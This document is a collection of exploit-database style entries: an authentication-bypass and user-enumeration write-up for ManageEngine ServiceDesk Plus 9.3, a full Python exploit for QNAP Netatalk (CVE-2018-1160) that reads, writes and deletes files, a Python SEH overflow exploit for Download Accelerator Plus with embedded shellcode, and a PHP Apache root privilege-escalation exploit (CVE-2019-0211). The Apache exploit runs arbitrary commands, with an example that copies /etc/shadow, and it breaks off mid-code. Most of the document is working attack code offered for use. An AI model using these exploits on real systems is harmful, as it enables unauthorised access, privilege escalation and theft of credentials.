Overview:
CVE-2019-10273 is a information leakage vulnerability within the ManageEngine ServiceDesk Plus 9.3 software, this vulnerability allows for the enumeration of active users that are registered on the ServiceDesk 9.3 hosted software.

Due to a flaw within the way the authentication is handled, an attacked is able to login and verify any active account.

---------------------------------------------------------------

Steps to reproduce: These steps can also be used to exploit authentication to privilege escalate into a higher level account via authentication bypass. (More info about authentication can be found with CVE-2019-10008)

- Start with logging into the guest account on the login page http://examplesite.com:8080, this will allow the first set of authentication to take place. (An attacker can use the guest credentials, this can be any low level user, or even the default applications credentials, Username: guest Password:guest)
- Navigate to the mobile login form located at http://examplesite.com:8080/mc, you will see that you have automatically be authenticated with whichever account you decided to previously login with.
- Logout of the mobile form at http://examplesite.com:8080/mc

- Re-login with any username, and the application will see that you have already been authenticated and it will not require a valid password.
- If you are able to successfully be automatically authenticated, you can confirm that the user is an active user within the service.
- You may now intercept and capture the login request with Burp Suite to set up a bruteforce attack, the http://examplesite.com:8080/mc will not try and prevent a barrage of requests. There is no protection set up within the services application

Conclusion:

Through the exploitation of the way that the application handles user authentication, an attacker is given the ability to bruteforce and confirm any active users on the service.

---------------------------------------------------------------

Impact and larger implication:

User enumeration is where an attacker is able to use a dictionary / bruteforce attack to guess or confirm valid and active users within the system. This is classified as a web application user enumeration vulnerability.

The impact that the vulnerability CVE-2019-10273 may have. It will allow an attacker to remotely enumerate all the users that are actively registered. This can lead to attacking specific accounts or targeting higher level accounts in order to privilege escalate on the service. Being able to verify whether or not a specific username is valid within a service can be detrimental to the users on the service.

---------------------------------------------------------------

References and other information

Utilizing CVE-2019-10008 we are able to bypass the login, CVE-2019-10273 further exploits the user authentication bug which is found within the ManageEngine 9.3 application. More information regarding CVE-2019-10008 can be found at http://flameofignis.com/2019/03/30/ServiceDesk-9-3-Auth-Bypass-CVE-2019-10008/ (The authors of CVE-2019-10008 are Ata Hakçıl, Melih Kaan Yıldız)

The ManageEngine ServiceDesk 9.3 software can be found at https://www.manageengine.com/products/service-desk/download.html
            
##
# Exploit Title: QNAP Netatalk Authentication Bypass
# Date: 12/20/2018
# Original Exploit Author: Jacob Baines
# Modifications for QNAP devices: Mati Aharoni
# Vendor Homepage: http://netatalk.sourceforge.net/
# Software Link: https://sourceforge.net/projects/netatalk/files/
# Version: Before 3.1.12
# CVE : CVE-2018-1160
# Advisory: https://www.tenable.com/security/research/tra-2018-48
# Tested on latest firmware as of Feb 1st 2019: 	
#	QNAP TS-X85U (TS-X85U_20181228-4.3.6.0805)
#	QNAP TS-X73U (TS-X73U_20181228-4.3.6.0805)
#	QNAP TS-X77U (TS-X77U_20181228-4.3.6.0805)
#	QNAP TS-X88  (TS-X88_20190119-4.4.0.0820)
##
import argparse
import socket
import struct
import sys

# Known addresses:
# This exploit was written against a Netatalk compiled for a
# QNAP TS-1273-RP and possibly works on other models. 
# The addresses below may need be changed for different QNAP targets.

preauth_switch_base = '\x80\xf5\x64\x00\x00\x00\x00\x00' # 0x64f580
afp_getsrvrparms = '\xd3\xa3\x43\x00\x00\x00\x00\x00' # 0x43a3d3
afp_openvol = '\xc2\xab\x43\x00\x00\x00\x00\x00'  # 0x43abc2
afp_enumerate_ext2 = '\x49\xf8\x41\x00\x00\x00\x00\x00' # 0x41f849
afp_openfork = '\xa3\xa5\x42\x00\x00\x00\x00\x00' # 0x42a5a3
afp_read_ext = '\x4b\xc1\x42\x00\x00\x00\x00\x00' # 0x42c14b
afp_createfile = '\x10\x40\x42\x00\x00\x00\x00\x00' # 0x424010
afp_write_ext = '\x9f\xd1\x42\x00\x00\x00\x00\x00' # 0x42d19f
afp_delete = '\x1e\x93\x42\x00\x00\x00\x00\x00' # 0x42931e

##
# This is the actual exploit. Overwrites the commands pointer
# with the base of the preauth_switch
##
def do_exploit(sock):
	print "[+] Sending exploit to overwrite preauth_switch data."
	data = '\x00\x04\x00\x01\x00\x00\x00\x00'
	data += '\x00\x00\x00\x1a\x00\x00\x00\x00'
	data += '\x01' # attnquant in open sess
	data += '\x18' # attnquant size
	data += '\xad\xaa\xaa\xba' # overwrites attn_quantum (on purpose)
	data += '\xef\xbe\xad\xde' # overwrites datasize
	data += '\xfe\xca\x1d\xc0' # overwrites server_quantum 
	data += '\xce\xfa\xed\xfe' # overwrites the server id and client id
	data += preauth_switch_base # overwrite the commands ptr
	sock.sendall(data)

	# don't really care about the respone
	resp = sock.recv(1024)
	return


##
# Sends a request to the server.
#
# @param socket the socket we are writing on
# @param request_id two bytes. requests are tracked through the session
# @param address the address that we want to jump to
# @param param_string the params that the address will need
##
def send_request(socket, request_id, address, param_string):
    data = '\x00' # flags
    data += '\x02' # command
    data += request_id
    data += '\x00\x00\x00\x00' # data offset
    data += '\x00\x00\x00\x90' # cmd length <=== always the same
    data += '\x00\x00\x00\x00' # reserved
    # ==== below gets copied into dsi->cmd =====
    data += '\x11' # use the 25th entry in the pre_auth table. We'll write the function to execute there
    data += '\x00' # pad
    if (param_string == False):
        data += ("\x00" * 134)
    else:
        data += param_string
        data += ("\x00" * (134 - len(param_string)))

    data += address # we'll jump to this address

    sock.sendall(data)
    return

##
# Parses the DSI header. If we don't get the expected request id
# then we bail out.
##
def parse_dsi(payload, expected_req_id):
	(flags, command, req_id, error_code, length, reserved) = struct.unpack_from('>BBHIII', payload)
	if command != 8:
		if flags != 1 or command != 2 or req_id != expected_req_id:
			print '[-] Bad DSI Header: %u %u %u' % (flags, command, req_id)
			sys.exit(0)

		if error_code != 0 and error_code != 4294962287:
			print '[-] The server responded to with an error code: ' + str(error_code)
			sys.exit(0)

	afp_data = payload[16:]
	if len(afp_data) != length:
		if command != 8:
			print '[-] Invalid length in DSI header: ' + str(length) + ' vs. ' + str(len(payload))
			sys.exit(0)
		else:
			afp_data = afp_data[length:]
			afp_data = parse_dsi(afp_data, expected_req_id)

	return afp_data

##
# List all the volumes on the remote server
##
def list_volumes(sock):
	print "[+] Listing volumes"
	send_request(sock, "\x00\x01", afp_getsrvrparms, "")
	resp = sock.recv(1024)

	afp_data = parse_dsi(resp, 1)
	(server_time, volumes) = struct.unpack_from('>IB', afp_data)
	print "[+] " + str(volumes) + " volumes are available:"

	afp_data = afp_data[5:]
	for i in range(volumes):
		string_length = struct.unpack_from('>h', afp_data)
		name = afp_data[2 : 2 + string_length[0]]
		print "\t-> " + name
		afp_data = afp_data[2 + string_length[0]:]

	return

##
# Open a volume on the remote server
##
def open_volume(sock, request, params):
	send_request(sock, request, afp_openvol, params)
	resp = sock.recv(1024)

	afp_data = parse_dsi(resp, 1)
	(bitmap, vid) = struct.unpack_from('>HH', afp_data)
	return vid

##
# List the contents of a specific volume
##
def list_volume_content(sock, name):
	print "[+] Listing files in volume " + name

	# open the volume
	length = struct.pack("b", len(name))
	vid = open_volume(sock, "\x00\x01", "\x00\x20" + length + name)
	print "[+] Volume ID is " + str(vid)

	# enumerate
	packed_vid = struct.pack(">h", vid)
	send_request(sock, "\x00\x02", afp_enumerate_ext2, packed_vid + "\x00\x00\x00\x02\x01\x40\x01\x40\x07\xff\x00\x00\x00\x01\x7f\xff\xff\xff\x02\x00\x00\x00")
	resp = sock.recv(1024)

	afp_data = parse_dsi(resp, 2)
	(f_bitmap, d_bitmap, req_count) = struct.unpack_from('>HHH', afp_data)
	afp_data = afp_data[6:]

	print "[+] Files (%u):" % req_count
	for i in range(req_count):
		(length, is_dir, pad, something, file_id, name_length) = struct.unpack_from('>HBBHIB', afp_data)
		name = afp_data[11:11+name_length]
		if is_dir:
			print "\t[%u] %s/" % (file_id, name)
		else:
			print "\t[%u] %s" % (file_id, name)
		afp_data = afp_data[length:]

##
# Read the contents of a specific file.
##
def cat_file(sock, vol_name, file_name):
	print "[+] Cat file %s in volume %s" % (file_name, vol_name)

	# open the volume
	vol_length = struct.pack("b", len(vol_name))
	vid = open_volume(sock, "\x00\x01", "\x00\x20" + vol_length + vol_name)
	print "[+] Volume ID is " + str(vid)

	# open fork
	packed_vid = struct.pack(">h", vid)
	file_length = struct.pack("b", len(file_name))
	send_request(sock, "\x00\x02", afp_openfork, packed_vid + "\x00\x00\x00\x02\x00\x00\x00\x03\x02" + file_length + file_name)
	resp = sock.recv(1024)

	afp_data = parse_dsi(resp, 2)
	(f_bitmap, fork_id) = struct.unpack_from('>HH', afp_data)
	print "[+] Fork ID: %s" % (fork_id)

	# read file
	packed_fork = struct.pack(">h", fork_id)
	send_request(sock, "\x00\x03", afp_read_ext, packed_fork + "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\x00\x00\x03\x00")
	resp = sock.recv(1024)

	afp_data = parse_dsi(resp, 3)
	print "[+] File contents:"
	print afp_data

##
# Create a file on the remote volume
## 
def write_file(sock, vol_name, file_name, data):
	print "[+] Writing to %s in volume %s" % (file_name, vol_name)

	# open the volume
	vol_length = struct.pack("B", len(vol_name))
	vid = open_volume(sock, "\x00\x01", "\x00\x20" + vol_length + vol_name)
	print "[+] Volume ID is " + str(vid)

	# create the file
	packed_vid = struct.pack(">H", vid)
	file_length = struct.pack("B", len(file_name))
	send_request(sock, "\x00\x02", afp_createfile, packed_vid + "\x00\x00\x00\x02\x02" + file_length + file_name);
	resp = sock.recv(1024)
	afp_data = parse_dsi(resp, 2)

	if len(afp_data) != 0:
		sock.recv(1024)

	# open fork
	packed_vid = struct.pack(">H", vid)
	file_length = struct.pack("B", len(file_name))
	send_request(sock, "\x00\x03", afp_openfork, packed_vid + "\x00\x00\x00\x02\x00\x00\x00\x03\x02" + file_length + file_name)
	resp = sock.recv(1024)

	afp_data = parse_dsi(resp, 3)
	(f_bitmap, fork_id) = struct.unpack_from('>HH', afp_data)
	print "[+] Fork ID: %s" % (fork_id)

	# write
	packed_fork = struct.pack(">H", fork_id)
	data_length = struct.pack(">Q", len(data))
	send_request(sock, "\x00\x04", afp_write_ext, packed_fork + "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + data_length + data)
	#resp = sock.recv(1024)

	sock.send(data + ("\x0a"*(144 - len(data))))
	resp = sock.recv(1024)
	afp_data = parse_dsi(resp, 4)
	print "[+] Fin"

##
# Delete a file on the remote volume
##
def delete_file(sock, vol_name, file_name):
	print "[+] Deleting %s from volume %s" % (file_name, vol_name)

	# open the volume
	vol_length = struct.pack("B", len(vol_name))
	vid = open_volume(sock, "\x00\x01", "\x00\x20" + vol_length + vol_name)
	print "[+] Volume ID is " + str(vid)

	# delete the file
	packed_vid = struct.pack(">H", vid)
	file_length = struct.pack("B", len(file_name))
	send_request(sock, "\x00\x02", afp_delete, packed_vid + "\x00\x00\x00\x02\x02" + file_length + file_name);
	resp = sock.recv(1024)
	afp_data = parse_dsi(resp, 2)

	print "[+] Fin"

##
##
## Main
##
##

top_parser = argparse.ArgumentParser(description='I\'m a little pea. I love the sky and the trees.')
top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to")
top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="548")
top_parser.add_argument('-lv', '--list-volumes', action="store_true", dest="lv", help="List the volumes on the remote target.")
top_parser.add_argument('-lvc', '--list-volume-content', action="store_true", dest="lvc", help="List the content of a volume.")
top_parser.add_argument('-c', '--cat', action="store_true", dest="cat", help="Dump contents of a file.")
top_parser.add_argument('-w', '--write', action="store_true", dest="write", help="Write to a new file.")
top_parser.add_argument('-f', '--file', action="store", dest="file", help="The file to operate on")
top_parser.add_argument('-v', '--volume', action="store", dest="volume", help="The volume to operate on")
top_parser.add_argument('-d', '--data', action="store", dest="data", help="The data to write to the file")
top_parser.add_argument('-df', '--delete-file', action="store_true", dest="delete_file", help="Delete a file")
args = top_parser.parse_args()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
sock.connect((args.ip, args.port))
print "[+] Connected!"

do_exploit(sock)
if args.lv:
	list_volumes(sock)
elif args.lvc and args.volume != None:
	list_volume_content(sock, args.volume)
elif args.cat and args.file != None and args.volume != None:
	cat_file(sock, args.volume, args.file)
elif args.write and args.volume != None and args.file != None and args.data != None:
	if len(args.data) > 144:
		print "This implementation has a max file writing size of 144"
		sys.exit(0)
	write_file(sock, args.volume, args.file, args.data)
elif args.delete_file and args.volume != None and args.file != None:
	delete_file(sock, args.volume, args.file)
else:
	print("Bad args")

sock.close()
            
#!/usr/bin/python                                                                                         #
# Exploit Title: Download Accelerator Plus DAP 10.0.6.0 - SEH Buffer Overflow                             #
# Date: 2019-04-05                                                                                        #
# Vendor Homepage: http://www.speedbit.com/dap/                                                           #
# Software Link: http://www.speedbit.com/dap/download/downloading.asp                                     #
# Exploit Author: Peyman Forouzan                                                                         #
# Tested Version: 10.0.6.0                                                                                #
# Tested on: Win10 Enterprise 64 bit                                                                      #
# Note : In other versions of Windows, it will cause the program to Crash                                 #
# Special Thanks to my wife                                                                               #
# Steps :                                                                                                 #
#  1- Run python code : Dap.py ( Dap.txt is created )                                                     #
#  2- Open the APP --> File --> Import --> Html Web Page --> paste in contents from the Dap.txt into      #
#     Import Web Page --> Ok --> Shellcode (Calc) open                                                    #
#---------------------------------------------------------------------------------------------------------#

junk = "\x41" * 4091

nseh = "\x61\x62"
seh  = "\x57\x42"			# Overwrite Seh # 0x00420057 : {pivot 8}

prepare =  "\x44\x6e\x53\x6e\x58\x6e\x05"
prepare += "\x14\x11\x6e\x2d\x13\x11\x6e\x50\x6d\xc3"
prepare += "\x41" * 107;

# calc unicode shell - can be replaced with shellcode
calc =  "PPYAIAIAIAIAQATAXAZAPA3QADAZA"
calc += "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA"
calc += "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB"
calc += "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K"
calc += "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL"
calc += "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55"
calc += "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V"
calc += "NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB"
calc += "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT"
calc += "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU"
calc += "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM"
calc += "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"
calc += "QQ2LRCM0LJA";

buffer = "http://" + junk + nseh + seh + prepare + calc
print "[+] Creating %s bytes payload ..." %len(buffer)
f = open ("Dap.txt", "w")
print "[+] File created!"
f.write(buffer)
f.close()
            
<?php
# CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation
# Charles Fol
# @cfreal_
# 2019-04-08
#
# INFOS
#
# https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
#
# USAGE
#
# 1. Upload exploit to Apache HTTP server
# 2. Send request to page
# 3. Await 6:25AM for logrotate to restart Apache
# 4. python3.5 is now suid 0
#
# You can change the command that is ran as root using the cmd HTTP
# parameter (GET/POST).
# Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/
#
# SUCCESS RATE
#
# Number of successful and failed exploitations relative to of the number
# of MPM workers (i.e. Apache subprocesses). YMMV.
#
# W  --% S   F
#  5 87% 177 26 (default)
#  8 89%  60  8
# 10 95%  70  4
#
# More workers, higher success rate.
# By default (5 workers), 87% success rate. With huge HTTPds, close to 100%.
# Generally, failure is due to all_buckets being relocated too far from its
# original address.
#
# TESTED ON
#
# - Apache/2.4.25
# - PHP 7.2.12
# - Debian GNU/Linux 9.6
#
# TESTING
#
# $ curl http://localhost/cfreal-carpediem.php
# $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# $ ls -alh /usr/bin/python3.5
# -rwsr-sr-x 2 root root 4.6M Sep 27  2018 /usr/bin/python3.5
#
# There are no hardcoded addresses.
# - Addresses read through /proc/self/mem
# - Offsets read through ELF parsing
#
# As usual, there are tons of comments.
#


o('CARPE (DIEM) ~ CVE-2019-0211');
o('');

error_reporting(E_ALL);


# Starts the exploit by triggering the UAF.
function real()
{
	global $y;
	$y = [new Z()];
	json_encode([0 => &$y]);
}

# In order to read/write what comes after in memory, we need to UAF a string so
# that we can control its size and make in-place edition.
# An easy way to do that is to replace the string by a timelib_rel_time
# structure of which the first bytes can be reached by the (y, m, d, h, i, s)
# properties of the DateInterval object.
#
# Steps:
# - Create a base object (Z)
# - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)
# - Create DateInterval object ($place) meant to be unset and filled by another
# - Trigger the UAF by unsetting $y[0], which is still reachable using $this
# - Unset $place: at this point, if we create a new DateInterval object, it will
#   replace $place in memory
# - Create a string ($holder) that fills $place's timelib_rel_time structure
# - Allocate a new DateInterval object: its timelib_rel_time structure will
#   end up in place of abc
# - Now we can control $this->abc's zend_string structure entirely using
#   y, m, d etc.
# - Increase abc's size so that we can read/write memory that comes after it,
#   especially the shared memory block
# - Find out all_buckets' position by finding a memory region that matches the
#   mutex->meth structure
# - Compute the bucket index required to reach the SHM and get an arbitrary
#   function call
# - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the
#   bucket
class Z implements JsonSerializable
{
	public function jsonSerialize()
	{
		global $y, $addresses, $workers_pids;

		#
		# Setup memory
		#
        o('Triggering UAF');
		o('  Creating room and filling empty spaces');

		# Fill empty blocks to make sure our allocations will be contiguous
		# I: Since a lot of allocations/deallocations happen before the script
		# is ran, two variables instanciated at the same time might not be
		# contiguous: this can be a problem for a lot of reasons.
		# To avoid this, we instanciate several DateInterval objects. These
		# objects will fill a lot of potentially non-contiguous memory blocks,
		# ensuring we get "fresh memory" in upcoming allocations.
		$contiguous = [];
		for($i=0;$i<10;$i++)
			$contiguous[] = new DateInterval('PT1S');

		# Create some space for our UAF blocks not to get overwritten
		# I: A PHP object is a combination of a lot of structures, such as
		# zval, zend_object, zend_object_handlers, zend_string, etc., which are
		# all allocated, and freed when the object is destroyed.
		# After the UAF is triggered on the object, all the structures that are
		# used to represent it will be marked as free.
		# If we create other variables afterwards, those variables might be
		# allocated in the object's previous memory regions, which might pose
		# problems for the rest of the exploitation.
		# To avoid this, we allocate a lot of objects before the UAF, and free
		# them afterwards. Since PHP's heap is LIFO, when we create other vars,
		# they will take the place of those objects instead of the object we
		# are triggering the UAF on. This means our object is "shielded" and
		# we don't have to worry about breaking it.
		$room = [];
		for($i=0;$i<10;$i++)
			$room[] = new Z();

		# Build string meant to fill old DateInterval's timelib_rel_time
		# I: ptr2str's name is unintuitive here: we just want to allocate a
		# zend_string of size 78.
		$_protector = ptr2str(0, 78);

		o('  Allocating $abc and $p');

		# Create ABC
		# I: This is the variable we will use to R/W memory afterwards.
		# After we free the Z object, we'll make sure abc is overwritten by a
		# timelib_rel_time structure under our control. The first 8*8 = 64 bytes
		# of this structure can be modified easily, meaning we can change the
		# size of abc. This will allow us to read/write memory after abc.
		$this->abc = ptr2str(0, 79);

		# Create $p meant to protect $this's blocks
		# I: Right after we trigger the UAF, we will unset $p.
		# This means that the timelib_rel_time structure (TRT) of this object
		# will be freed. We will then allocate a string ($protector) of the same
		# size as TRT. Since PHP's heap is LIFO, the string will take the place
		# of the now-freed TRT in memory.
		# Then, we create a new DateInterval object ($x). From the same
		# assumption, every structure constituting this new object will take the
		# place of the previous structure. Nevertheless, since TRT's memory
		# block has already been replaced by $protector, the new TRT will be put
		# in the next free blocks of the same size, which happens to be $abc
		# (remember, |abc| == |timelib_rel_time|).
		# We now have the following situation: $x is a DateInterval object whose
		# internal TRT structure has the same address as $abc's zend_string.
		$p = new DateInterval('PT1S');

		#
		# Trigger UAF
		#
		
		o('  Unsetting both variables and setting $protector');
		# UAF here, $this is usable despite being freed
		unset($y[0]);
		# Protect $this's freed blocks
		unset($p);

		# Protect $p's timelib_rel_time structure
		$protector = ".$_protector";
		# !!! This is only required for apache
		# Got no idea as to why there is an extra deallocation (?)
		$room[] = "!$_protector";

		o('  Creating DateInterval object');
		# After this line:
		# &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str
		# We can control the structure of $this->abc and therefore read/write
		# anything that comes after it in memory by changing its size and
		# making in-place edits using $this->abc[$position] = $char
		$x = new DateInterval('PT1S');
		# zend_string.refcount = 0
		# It will get incremented at some point, and if it is > 1,
		# zend_assign_to_string_offset() will try to duplicate it before making
		# the in-place replacement
		$x->y = 0x00;
		# zend_string.len
		$x->d = 0x100;
		# zend_string.val[0-4]
		$x->h = 0x13121110;

		# Verify UAF was successful
		# We modified stuff via $x; they should be visible by $this->abc, since
		# they are at the same memory location.
		if(!(
			strlen($this->abc) === $x->d &&
			$this->abc[0] == "\x10" &&
			$this->abc[1] == "\x11" &&
			$this->abc[2] == "\x12" &&
			$this->abc[3] == "\x13"
		))
		{
			o('UAF failed, exiting.');
			exit();
		}
		o('UAF successful.');
		o('');

		# Give us some room
		# I: As indicated before, just unset a lot of stuff so that next allocs
		# don't break our fragile UAFd structure.
		unset($room);

		#
		# Setup the R/W primitive
		#

		# We control $abc's internal zend_string structure, therefore we can R/W
		# the shared memory block (SHM), but for that we need to know the
		# position of $abc in memory
		# I: We know the absolute position of the SHM, so we need to need abc's
		# as well, otherwise we cannot compute the offset

		# Assuming the allocation was contiguous, memory looks like this, with
		# 0x70-sized fastbins:
		# 	[zend_string:abc]
		# 	[zend_string:protector]
		# 	[FREE#1]
		# 	[FREE#2]
		# Therefore, the address of the 2nd free block is in the first 8 bytes
		# of the first block: 0x70 * 2 - 24
		$address = str2ptr($this->abc, 0x70 * 2 - 24);
		# The address we got points to FREE#2, hence we're |block| * 3 higher in
		# memory
		$address = $address - 0x70 * 3;
		# The beginning of the string is 24 bytes after its origin
		$address = $address + 24;
		o('Address of $abc: 0x' . dechex($address));
		o('');

		# Compute the size required for our string to include the whole SHM and
		# apache's memory region
		$distance = 
			max($addresses['apache'][1], $addresses['shm'][1]) -
			$address
		;
		$x->d = $distance;

		# We can now read/write in the whole SHM and apache's memory region.

		#
		# Find all_buckets in memory
		#

		# We are looking for a structure s.t.
		# |all_buckets, mutex| = 0x10
		# |mutex, meth| = 0x8
		# all_buckets is in apache's memory region
		# mutex is in apache's memory region
		# meth is in libaprR's memory region
		# meth's function pointers are in libaprX's memory region
		o('Looking for all_buckets in memory');
		$all_buckets = 0;

		for(
			$i = $addresses['apache'][0] + 0x10;
			$i < $addresses['apache'][1] - 0x08;
			$i += 8
		)
		{
			# mutex
			$mutex = $pointer = str2ptr($this->abc, $i - $address);
			if(!in($pointer, $addresses['apache']))
				continue;


			# meth
			$meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
			if(!in($pointer, $addresses['libaprR']))
				continue;

			o('  [&mutex]: 0x' . dechex($i));
			o('    [mutex]: 0x' . dechex($mutex));
			o('      [meth]: 0x' . dechex($meth));


			# meth->*
			# flags
			if(str2ptr($this->abc, $pointer - $address) != 0)
				continue;
			# methods
			for($j=0;$j<7;$j++)
			{
				$m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
				if(!in($m, $addresses['libaprX']))
					continue 2;
				o('        [*]: 0x' . dechex($m));
			}

			$all_buckets = $i - 0x10;
			o('all_buckets = 0x' . dechex($all_buckets));
			break;
		}

		if(!$all_buckets)
		{
			o('Unable to find all_buckets');
			exit();
		}

		o('');

		# The address of all_buckets will change when apache is gracefully
		# restarted. This is a problem because we need to know all_buckets's
		# address in order to make all_buckets[some_index] point to a memory
		# region we control.

		#
		# Compute potential bucket indexes and their addresses
		#

        o('Computing potential bucket indexes and addresses');

		# Since we have sizeof($workers_pid) MPM workers, we can fill the rest
		# of the ap_score_image->servers items, so 256 - sizeof($workers_pids),
		# with data we like. We keep the one at the top to store our payload.
		# The rest is sprayed with the address of our payload.

		$size_prefork_child_bucket = 24;
		$size_worker_score = 264;
		# I get strange errors if I use every "free" item, so I leave twice as
		# many items free. I'm guessing upon startup some
		$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
		$spray_max = $addresses['shm'][1];
		$spray_min = $spray_max - $spray_size;

		$spray_middle = (int) (($spray_min + $spray_max) / 2);
		$bucket_index_middle = (int) (
			- ($all_buckets - $spray_middle) /
			$size_prefork_child_bucket
		);

		#
		# Build payload
		#

		# A worker_score structure was kept empty to put our payload in
		$payload_start = $spray_min - $size_worker_score;

		$z = ptr2str(0);

    	# Payload maxsize 264 - 112 = 152
		# Offset 8 cannot be 0, but other than this you can type whatever
		# command you want
    	$bucket = isset($_REQUEST['cmd']) ?
    		$_REQUEST['cmd'] :
    		"chmod +s /usr/bin/python3.5";

    	if(strlen($bucket) > $size_worker_score - 112)
		{
			o(
				'Payload size is bigger than available space (' .
				($size_worker_score - 112) .
				'), exiting.'
			);
			exit();
		}
    	# Align
    	$bucket = str_pad($bucket, $size_worker_score - 112, "\x00");

    	# apr_proc_mutex_unix_lock_methods_t
		$meth = 
		    $z .
		    $z .
		    $z .
		    $z .
		    $z .
		    $z .
			# child_init
		    ptr2str($addresses['zend_object_std_dtor'])
		;

		# The second pointer points to meth, and is used before reaching the
		# arbitrary function call
		# The third one and the last one are both used by the function call
		# zend_object_std_dtor(object) => ... => system(&arData[0]->val)
		$properties = 
			# refcount
			ptr2str(1) .
			# u-nTableMask meth
			ptr2str($payload_start + strlen($bucket)) .
			# Bucket arData
			ptr2str($payload_start) .
			# uint32_t nNumUsed;
			ptr2str(1, 4) .
		    # uint32_t nNumOfElements;
			ptr2str(0, 4) .
			# uint32_t nTableSize
			ptr2str(0, 4) .
			# uint32_t nInternalPointer
			ptr2str(0, 4) .
			# zend_long nNextFreeElement
			$z .
			# dtor_func_t pDestructor
			ptr2str($addresses['system'])
		;

		$payload =
			$bucket .
			$meth .
			$properties
		;

		# Write the payload

		o('Placing payload at address 0x' . dechex($payload_start));

		$p = $payload_start - $address;
		for(
			$i = 0;
			$i < strlen($payload);
			$i++
		)
		{
			$this->abc[$p+$i] = $payload[$i];
		}

		# Fill the spray area with a pointer to properties
		
		$properties_address = $payload_start + strlen($bucket) + strlen($meth);
		o('Spraying pointer');
		o('  Address: 0x' . dechex($properties_address));
		o('  From: 0x' . dechex($spray_min));
		o('  To: 0x' . dechex($spray_max));
		o('  Size: 0x' . dechex($spray_size));
		o('  Covered: 0x' . dechex($spray_size * count($workers_pids)));
		o('  Apache: 0x' . dechex(
			$addresses['apache'][1] -
			$addresses['apache'][0]
		));

		$s_properties_address = ptr2str($properties_address);

		for(
			$i = $spray_min;
			$i < $spray_max;
			$i++
		)
		{
			$this->abc[$i - $address] = $s_properties_address[$i % 8];
		}
		o('');

		# Find workers PID in the SHM: it indicates the beginning of their
		# process_score structure. We can then change process_score.bucket to
		# the index we computed. When apache reboots, it will use
		# all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex
		# which means we control the whole apr_proc_mutex_t structure.
		# This structure contains pointers to multiple functions, especially
		# mutex->meth->child_init(), which will be called before privileges
		# are dropped.
		# We do this for every worker PID, incrementing the bucket index so that
		# we cover a bigger range.
		
		o('Iterating in SHM to find PIDs...');

		# Number of bucket indexes covered by our spray
		$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
		# Number of bucket indexes covered by our spray and the PS structures
		$total_nb_buckets = $spray_nb_buckets * count($workers_pids);
		# First bucket index to handle
		$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);

		# Iterate over every process_score structure until we find every PID or
		# we reach the end of the SHM
		for(
			$p = $addresses['shm'][0] + 0x20;
			$p < $addresses['shm'][1] && count($workers_pids) > 0;
			$p += 0x24
		)
		{
			$l = $p - $address;
			$current_pid = str2ptr($this->abc, $l, 4);
			o('Got PID: ' . $current_pid);
			# The PID matches one of the workers
			if(in_array($current_pid, $workers_pids))
			{
				unset($workers_pids[$current_pid]);
				o('  PID matches');
				# Update bucket address
				$s_bucket_index = pack('l', $bucket_index);
				$this->abc[$l + 0x20] = $s_bucket_index[0];
				$this->abc[$l + 0x21] = $s_bucket_index[1];
				$this->abc[$l + 0x22] = $s_bucket_index[2];
				$this->abc[$l + 0x23] = $s_bucket_index[3];
				o('  Changed bucket value to ' . $bucket_index);
				$min = $spray_min - $size_prefork_child_bucket * $bucket_index;
				$max = $spray_max - $size_prefork_child_bucket * $bucket_index;
				o('  Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
				# This bucket range is covered, go to the next one
				$bucket_index += $spray_nb_buckets;
			}
		}

		if(count($workers_pids) > 0)
		{
			o(
				'Unable to find PIDs ' .
				implode(', ', $workers_pids) .
				' in SHM, exiting.'
			);
			exit();
		}

		o('');
		o('EXPLOIT SUCCESSFUL.');
		o('Await 6:25AM.');
		
		return 0;
	}
}

function o($msg)
{
	# No concatenation -> no string allocation
	print($msg);
	print("\n");
}

function ptr2str($ptr, $m=8)
{
	$out = "";
    for ($i=0; $i<$m; $i++)
    {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}

function str2ptr(&$str, $p, $s=8)
{
	$address = 0;
	for($j=$s-1;$j>=0;$j--)
	{
		$address <<= 8;
		$address |= ord($str[$p+$j]);
	}
	return $address;
}

function in($i, $range)
{
	return $i >= $range[0] && $i < $range[1];
}

/**
 * Finds the offset of a symbol in a file.
 */
function find_symbol($file, $symbol)
{
    $elf = file_get_contents($file);
    $e_shoff = str2ptr($elf, 0x28);
    $e_shentsize = str2ptr($elf, 0x3a, 2);
    $e_shnum = str2ptr($elf, 0x3c, 2);

    $dynsym_off = 0;
    $dynsym_sz = 0;
    $dynstr_off = 0;

